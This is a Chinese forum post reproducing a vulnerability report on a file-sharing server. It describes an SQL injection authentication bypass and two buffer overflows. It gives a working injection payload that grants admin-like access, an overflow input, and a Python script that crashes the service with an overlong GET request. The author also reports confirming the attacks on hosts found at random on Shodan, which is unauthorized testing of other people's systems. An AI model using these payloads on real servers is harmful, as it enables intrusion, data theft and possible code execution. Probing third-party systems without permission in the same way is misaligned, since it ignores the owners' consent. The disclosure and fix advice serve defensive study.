HanDs
管理员

[7月漏洞公开] 某文件共享server存在验证绕过以及缓冲区溢出 



看了乌云上某位大牛提的漏洞http://wooyun.org/bugs/wooyun-2016-0212171,自己也试着玩了玩这个软件,发现一些问题,可绕过验证以及存在溢出可导致添加修改任意账户、文件下载上传以及远程代码执行

详细说明:

服务下载地址:**.**.**.**

测试版本:6.9-7.2

主要包含一个类似SQL注入的漏洞以及两处缓冲区溢出。



一、SQL注入绕过验证。登录验证时缺少对用户名的过滤,可通过注入伪造select值

code 区域
004972B1  |.  57            push edi
004972B2 |. 52 push edx
004972B3 |. 50 push eax
004972B4 |. 68 0C185A00 push fsws.005A180C ; ASCII "select * from %s where %s='%s'"
004972B9 |. 51 push ecx
004972BA |. E8 BB1D0600 call fsws.004F907A
004972BF |. 83C4 14 add esp,0x14





此处通过 select * from %s where %s='%s' 格式化后生成查询语句查询表sqltable中的数据,生成的语句类似于 select * from sqltable where userid='Admin'。 在查询后的结果中取出列名为passwd的值进行比较,与输入相同则通过验证。因对userid的数据未过滤导致可注入伪造生成passwd的值。查询表后得知passwd为第三列,所以可伪造类似命令select * from sqltable where userid='a' union select 1,1,'x','a',1,1--' 来绕过验证。登录后就可以上传下载文件、任意添加修改用户。

举个可通过的例子:

userid: a' union select 1,1,'x','a',1,1--

passwd: x



二、缓冲区溢出1

在上面绕过验证后如果userid过长,在之后查询user权限的语句中会导致缓冲区溢出。

userid:x' union select 1,1,'x','x',1,1--AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

passwd:x



导致溢出:

QQ20160530-0@2x.png





三、缓冲区溢出2

原因也是类似第一种,都是在格式化sql查询字符串时溢出的。只要GET请求页名称长度大于4096就会导致溢出。代码如下:

code 区域
import socket

data="GET +"+"A"*4096+"+ HTTP/1.1\r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded\r\n"
data+="Content-Type: application/x-www-form-urlencoded\r\nAccept-Encoding: gzip,deflate\r\nContent-Length: "
postdata="Cookie: SESSIONID=1115"
data+=str(len(postdata))
data+="\r\n"
data+=postdata

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("localhost",80))
s.sendall(data)
s.close()







漏洞证明:

本地测试:

QQ20160530-1@2x.png



QQ20160530-2@2x.png



QQ20160530-3@2x.png





shodan上随便搜的地址:

QQ20160530-4@2x.png



QQ20160530-5@2x.png

修复方案:

对sql查询语句格式化时过滤以及验证长度。


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
文件 共享 s er ve r 存在 验证 绕过 以及 缓冲区 溢出
#1楼
发帖时间:2016-7-18   |   查看数:0   |   回复数:0
游客组
快速回复